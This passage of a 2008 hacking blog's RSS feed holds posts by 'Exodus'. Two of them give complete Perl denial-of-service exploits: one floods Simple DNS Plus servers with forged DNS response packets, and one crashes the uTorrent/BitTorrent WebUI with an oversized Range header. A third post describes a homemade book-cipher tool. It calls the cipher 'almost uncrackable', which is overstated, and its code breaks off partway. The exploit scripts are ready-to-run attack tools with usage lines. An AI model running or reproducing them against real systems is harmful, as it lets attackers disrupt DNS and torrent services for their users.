i started digging into some RFCs/documentations and playing with the protocol
to see if i can [...]]]></description>
			<content:encoded><![CDATA[<p>after reading the story about Dan kaminskys <a href="http://www.doxpara.com/?p=1162">DNS cache posioning attack</a><br />
and watching his ridiculous youtube <a href="http://www.doxpara.com/?p=1164">cornflakes commercial</a><br />
i decided to trace the source of this vulnerability.<br />
so in order to understand how kaminsky attack is any diffrent from the traditional dns cache posioning<br />
i started digging into some RFCs/documentations and playing with the protocol<br />
to see if i can find some clues/logical faults.<br />
yet i didnt find anything worthy and i wonder if kaminsky founding is just some algorithm of guessing a little bit faster the 16 bit transaction ID field </p>
<p>anyway while i was doing some tests on this Simple DNS server<br />
i&#8217;ve found that if i repeatingly send DNS server response packets as if i was a root dns server<br />
to the client port of the DNS server it will remotly cause a denial of service.</p>
<p>so what we have here is a DNS response packet built from scratch<br />
that basicly flood the the source port of some &#8220;Simple DNS server Plus&#8221; and deny its service.<br />
p.s: i used mutiple pack functions to make it more convenient<br />
i could have just squeeze it into one pack but what the heck..</p>
<div class="geshi no perl">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/perl</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># Simple DNS Plus 5.0/4.1 &lt; remote Denial of Service exploit</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># </span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># usage: sdns-dos.pl &lt;dns server&gt; &lt;dns source port&gt; &lt;num of packets&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># Exploit written by Exodus.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># http://www.blackhat.org.il</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">use</span> IO::<span class="me2">Socket</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span> <span class="sy0">&lt;</span> <span class="nu0">3</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span><span class="br0">&#40;</span><span class="st0">&quot;sdns-dos.pl &lt;dns server&gt; &lt;dns source port&gt; &lt;num of packets&gt;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$sock</span> = IO::<span class="me2">Socket</span>::<span class="me2">INET</span>-<span class="sy0">&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>PeerAddr =<span class="sy0">&gt;</span> <span class="st0">&quot;$ARGV[0]:$ARGV[1]&quot;</span>, Proto =<span class="sy0">&gt;</span> <span class="st0">&#39;UDP&#39;</span><span class="br0">&#41;</span> <span class="sy0">||</span> <span class="kw3">die</span><span class="br0">&#40;</span><span class="st0">&quot;Cant connect DNS server&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$address</span> = <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$trans</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;1337&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$flags</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;B16&quot;</span>,<span class="st0">&quot;1000010110110000&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$question</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0001&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$answerRR</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0001&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$authorityRR</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0000&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$additionlRR</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0000&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$type</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0001&quot;</span><span class="br0">&#41;</span>; <span class="co1"># A host name</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$class</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0001&quot;</span><span class="br0">&#41;</span>; <span class="co1"># IN</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">@parts</span> = <span class="kw3">split</span><span class="br0">&#40;</span><span class="sy0">/</span>\.<span class="sy0">/</span>,<span class="re0">$address</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span> <span class="re0">$part</span> <span class="br0">&#40;</span><span class="re0">@parts</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$packedlen</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H2&quot;</span>,<span class="kw3">sprintf</span><span class="br0">&#40;</span><span class="st0">&quot;%02x&quot;</span>,<span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$part</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$address2</span> .= <span class="re0">$packedlen</span>.<span class="re0">$part</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$query</span> = <span class="re0">$address2</span>. <span class="st0">&quot;<span class="es0">\0</span>00&quot;</span> . <span class="re0">$type</span> . <span class="re0">$class</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$aname</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;c00c&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$atype</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0001&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$aclass</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0001&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$ttl</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H8&quot;</span>,<span class="st0">&quot;0000008d&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$dlen</span> = <span class="kw3">pack</span><span class="br0">&#40;</span><span class="st0">&quot;H4&quot;</span>,<span class="st0">&quot;0004&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$addr</span> = inet_aton<span class="br0">&#40;</span><span class="st0">&quot;127.0.0.1&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$answer</span> = <span class="re0">$aname</span> . <span class="re0">$atype</span> . <span class="re0">$aclass</span> . <span class="re0">$ttl</span> . <span class="re0">$dlen</span> . <span class="re0">$addr</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$payload</span> = <span class="re0">$trans</span> . <span class="re0">$flags</span> . <span class="re0">$question</span> . <span class="re0">$answerRR</span> </div>
</li>
<li class="li1">
<div class="de1">. <span class="re0">$authorityRR</span> . <span class="re0">$additionlRR</span> . <span class="re0">$query</span> . <span class="re0">$answer</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span> <span class="st0">&quot;sending $ARGV[2] packets&#8230; &quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span>=<span class="nu0">0</span>;<span class="re0">$i</span><span class="sy0">&lt;</span>=<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;<span class="re0">$i</span>++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="re0">$sock</span> <span class="re0">$payload</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span> <span class="st0">&quot;Done. Good bye.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">__END__</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/simple-dns-plus-5041-remote-denial-of-service-exploit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>uTorrent / BitTorrent WebIU 1.7.7/6.0.1 Range header Denial of Service exploit</title>
		<link>http://www.blackhat.org.il/index.php/webiu-range-header-denial-of-service-exploit/</link>
		<comments>http://www.blackhat.org.il/index.php/webiu-range-header-denial-of-service-exploit/#comments</comments>
		<pubDate>Mon, 23 Jun 2008 19:06:42 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Exploits]]></category>

		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=22</guid>
		<description><![CDATA[Today i kinda got really bored, so i&#8217;ve decided to dig into some advisories and see what i can find
during my search i&#8217;ve found the following advisory
and since i didnt have anything better to do and it doesnt require much of a thinking
i came up with the following exploit:



#!/usr/bin/perl


# uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 [...]]]></description>
			<content:encoded><![CDATA[<p>Today i kinda got really bored, so i&#8217;ve decided to dig into some advisories and see what i can find<br />
during my search i&#8217;ve found the following <a href="http://secunia.com/advisories/30605">advisory</a><br />
and since i didnt have anything better to do and it doesnt require much of a thinking<br />
i came up with the following exploit:</p>
<div class="geshi no perl">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/perl</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># according to the following advisory: http://secunia.com/advisories/30605</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># usage: WebUI-dos.pl &lt;url&gt; &lt;port&gt; &lt;user:pass&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># Exploit written by Exodus.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># http://www.blackhat.org.il</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">use</span> IO::<span class="me2">Socket</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">use</span> MIME::<span class="me2">Base64</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span> <span class="sy0">&lt;</span> <span class="nu0">3</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span> <span class="sy0">&amp;</span>usage; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="re0">$host</span>,<span class="re0">$ref</span><span class="br0">&#41;</span> = <span class="kw3">split</span><span class="br0">&#40;</span><span class="sy0">/</span>\<span class="sy0">//</span>,<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$sock</span> = IO::<span class="me2">Socket</span>::<span class="me2">INET</span>-<span class="sy0">&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>PeerAddr =<span class="sy0">&gt;</span> <span class="st0">&quot;$host:$ARGV[1]&quot;</span>, Proto =<span class="sy0">&gt;</span><span class="st0">&#39;TCP&#39;</span><span class="br0">&#41;</span> <span class="sy0">||</span> <span class="kw3">die</span><span class="br0">&#40;</span><span class="st0">&quot;[X]Couldnt connect to host: $host:$ARGV[1]<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$buff</span> = <span class="st0">&quot;E&quot;</span> x <span class="nu0">60000</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$up</span> = encode_base64<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">chomp</span><span class="br0">&#40;</span><span class="re0">$up</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span> <span class="re0">$sock</span> <span class="st0">&quot;GET /gui/common.js HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>.</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;Host: $host<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>.</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;Authorization: Basic $up<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>.</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;Range: bytes=$buff<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>.</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">close</span><span class="br0">&#40;</span><span class="re0">$sock</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span> <span class="st0">&quot;[!]Payload sent, WebUI should be down&#8230;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> usage</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;usage $0 &lt;url&gt; &lt;port&gt; &lt;user:pass&gt;<span class="es0">\n</span>&quot;</span>.</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;ex: $0 127.0.0.1/gui/common.js 1337 admin:admin<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">exit</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/webiu-range-header-denial-of-service-exploit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Desert Scroll cypher</title>
		<link>http://www.blackhat.org.il/index.php/desert-scroll-v10/</link>
		<comments>http://www.blackhat.org.il/index.php/desert-scroll-v10/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 16:22:48 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Cryptography]]></category>

		<category><![CDATA[Projects]]></category>

		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=21</guid>
		<description><![CDATA[1. Overview:
Desert Scroll is an old project of mine which i wrote in perl couple of years ago
and basicly its an implementation of a Book encryption
2. How does it work:
2.1. Loading &#38;&#38; Mapping the key file:
at first before every encryption/decryption of plain text a key is being loaded into the memory of the script/program and [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-decoration: underline;">1. Overview:</span></strong><br />
Desert Scroll is an old project of mine which i wrote in perl couple of years ago<br />
and basicly its an implementation of a Book encryption</p>
<p><strong><span style="text-decoration: underline;">2. How does it work:</span></strong></p>
<p><strong><span style="text-decoration: underline;">2.1. Loading &amp;&amp; Mapping the key file:</span></strong><br />
at first before every encryption/decryption of plain text a key is being loaded into the memory of the script/program and then mapped into a bi-dimensional array while the first dimension is used to map all ASCII numeric values that exists in the key and in the second dimension there are all the offsets of the same ASCII value which exists in the key file</p>
<p><strong><span style="text-decoration: underline;">2.2.Encrypting process:</span></strong><br />
the process of the encryption is basicly a replacment of the original characters in the plaintext with the one of the offsets which lays under that ASCII value in the array<br />
its worth mentioning that no addition steps has been taken to camouflage and prevent from the third side to understand the mechanisem of this encryption  </p>
<div class="geshi no perl">
<ol>
<li class="li1">
<div class="de1">perl Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl dec.txt mentor_crpyt.txt http:<span class="sy0">//</span>www.blackhat.org.il<span class="sy0">/</span>uploads<span class="sy0">/</span>hackermanifesto.txt -e</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">836</span> <span class="nu0">1465</span> <span class="nu0">431</span> <span class="nu0">2199</span> <span class="nu0">253</span> <span class="nu0">848</span> <span class="nu0">1539</span> <span class="nu0">358</span> <span class="nu0">566</span> <span class="nu0">1350</span> <span class="nu0">733</span> <span class="nu0">25</span> <span class="nu0">930</span> <span class="nu0">1689</span> <span class="nu0">1009</span> <span class="nu0">2759</span> <span class="nu0">1645</span> <span class="nu0">1357</span> <span class="nu0">2695</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">143</span> <span class="nu0">469</span> <span class="nu0">278</span> <span class="nu0">395</span> <span class="nu0">74</span> <span class="nu0">106</span> <span class="nu0">2954</span> <span class="nu0">2661</span> <span class="nu0">3127</span> <span class="nu0">87</span> <span class="nu0">2775</span> <span class="nu0">922</span> <span class="nu0">2207</span> <span class="nu0">1876</span> <span class="nu0">2637</span> <span class="nu0">1794</span> <span class="nu0">2279</span> <span class="nu0">3098</span> <span class="nu0">103</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">48</span> <span class="nu0">801</span> <span class="nu0">1394</span> <span class="nu0">1190</span> <span class="nu0">1497</span> <span class="nu0">2055</span> <span class="nu0">3123</span> <span class="nu0">773</span> <span class="nu0">3140</span></div>
</li>
</ol>
</div>
<p><strong><span style="text-decoration: underline;">2.3.Decrypting process:</span></strong><br />
the decrypting process is fairly simple the script replace every offest number with its identical value from the key map.</p>
<div class="geshi no perl">
<ol>
<li class="li1">
<div class="de1">perl Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl mentor_crpyt.txt mentor_dec.txt http:<span class="sy0">//</span>www.morcant.net<span class="sy0">/</span>data<span class="sy0">/</span>docs<span class="sy0">/</span>Misc<span class="sy0">/</span>hackermanifesto.txt -d</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;imagination is more important than knowledge&quot;</span> - Albert Einstein</div>
</li>
</ol>
</div>
<p><strong><span style="text-decoration: underline;">3.Notes:</span></strong><br />
 - the code was written long time ago and if i&#8217;d be recoding it today i&#8217;m sure it could have been more efficient and optimized.<br />
- some of the comments in the brief of the source code are a bit silly so you are more than welcome to ignore them.</p>
<div class="geshi no perl">
<div class="head">use LWP::Simple;</div>
<ol>
<li class="li1">
<div class="de1"><span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&#39;cls&#39;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span> <span class="kw3">qq</span>~;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;;</div>
</li>
<li class="li1">
<div class="de1">;Desert Scroll v1<span class="nu0">.0</span>: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Exodus<span class="sy0">/</span>nullfield\<span class="re0">@gmail</span>.com;</div>
</li>
<li class="li1">
<div class="de1">;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span>INPUT: Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">~;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span>==<span class="nu0">1</span> <span class="sy0">&amp;</span>amp;<span class="sy0">&amp;</span>amp; <span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> eq <span class="st0">&quot;-h&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print</span> <span class="kw3">qq</span>~</div>
</li>
<li class="li1">
<div class="de1">&nbsp;DS is &nbsp;a &nbsp;encoding<span class="sy0">/</span>decoding &nbsp;tool &nbsp;implementing the so called book-encryption</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">and</span> &nbsp; almost &nbsp; uncrackable &nbsp;<span class="kw1">unless</span> &nbsp;using &nbsp;the &nbsp;right &nbsp;key. &nbsp;what &nbsp;makes this</div>
</li>
<li class="li1">
<div class="de1">&nbsp;encryption &nbsp;so &nbsp;uniqe &nbsp;is that the key could be almost anything from the very</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;Declaration &nbsp;of &nbsp;Independence&quot;</span> &nbsp;to &nbsp;the Mentors <span class="st0">&quot;The Conscience of a Hacker&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;paper.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;this &nbsp;means &nbsp;that &nbsp;two &nbsp;sides could first decide on a key-text which could be</div>
</li>
<li class="li1">
<div class="de1">&nbsp;some &nbsp;famous paper on god knows what <span class="kw1">and</span> after <span class="kw1">then</span> they could start swiching</div>
</li>
<li class="li1">
<div class="de1">&nbsp;messages &nbsp;without &nbsp;any &nbsp;concerns &nbsp;that a &nbsp;third side factor would disturb <span class="kw1">and</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;decode their data. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;another note that must be mentioned is that the bigger in size the key is the</div>
</li>
<li class="li1">
<div class="de1">&nbsp;stronger &nbsp; <span class="kw1">and</span> &nbsp; tougher &nbsp; to &nbsp; crack &nbsp; the &nbsp;encryption &nbsp;is. &nbsp;however</div>
</li>
<li class="li1">
<div class="de1">&nbsp;there is still one basic disadvantage in this encryption, in &nbsp;order to encode</div>
</li>
<li class="li1">
<div class="de1">&nbsp;any ascii &nbsp;value the key &nbsp;must contain it somewhere in it <span class="kw1">or</span> <span class="kw1">else</span> it wont get</div>
</li>
<li class="li1">
<div class="de1">&nbsp;encoded &nbsp; <span class="kw1">or</span> &nbsp; in &nbsp; order &nbsp; &nbsp;words &nbsp; some &nbsp; of &nbsp; the &nbsp; data &nbsp; will &nbsp;get &nbsp;lost</div>
</li>
<li class="li1">
<div class="de1">&nbsp;therefore it &nbsp;is &nbsp;better to <span class="kw2">use</span> a large texts which would contain atleast the</div>
</li>
<li class="li1">
<div class="de1">&nbsp;most important ascii <span class="kw3">values</span> to ensure a valid flow of encoded data.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;DS &nbsp;also contains a key generator that ensures a strong <span class="kw1">and</span> &nbsp;valid encryption</div>
</li>
<li class="li1">
<div class="de1">&nbsp;Use:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;the defination &nbsp;of the arguments of the encoder<span class="sy0">/</span>decoder routines is using the</div>
</li>
<li class="li1">
<div class="de1">&nbsp;following syntax:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;perl Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl &nbsp; &nbsp; <span class="sy0">&amp;</span>lt;-e<span class="sy0">/</span>-d<span class="sy0">&amp;</span>gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sy0">&amp;</span>lt;-e<span class="sy0">/</span>-d<span class="sy0">&amp;</span>gt; -<span class="sy0">&amp;</span>gt; -e to encode, -d to decode.</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; -<span class="sy0">&amp;</span>gt; source text to encode<span class="sy0">/</span>decode <span class="kw1">or</span> a qouted text.</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;-<span class="sy0">&amp;</span>gt; destenation to output the resaults.</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; -<span class="sy0">&amp;</span>gt; I. a pointer to the key file</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; II. an interger to generate a key</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; III. an URL pointing on the key source<span class="br0">&#40;</span><span class="kw3">format</span>: http:<span class="sy0">//</span>&#8230;<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;You can also <span class="kw2">use</span> the key-generator stand-alone features by using the</div>
</li>
<li class="li1">
<div class="de1">&nbsp;following synatx:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;perl Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl <span class="sy0">&amp;</span>lt;-g<span class="sy0">&amp;</span>gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; -<span class="sy0">&amp;</span>gt; key <span class="kw3">length</span>.</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; -<span class="sy0">&amp;</span>gt; Destenation of the key file.</div>
</li>
<li class="li1">
<div class="de1">~;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">elsif</span><span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> eq <span class="st0">&quot;-g&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="sy0">!</span>=<span class="nu0">3</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">print</span> <span class="kw3">qq</span>~</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span>in order to <span class="kw2">use</span> the key generator function you must follow this syntax:</div>
</li>
<li class="li1">
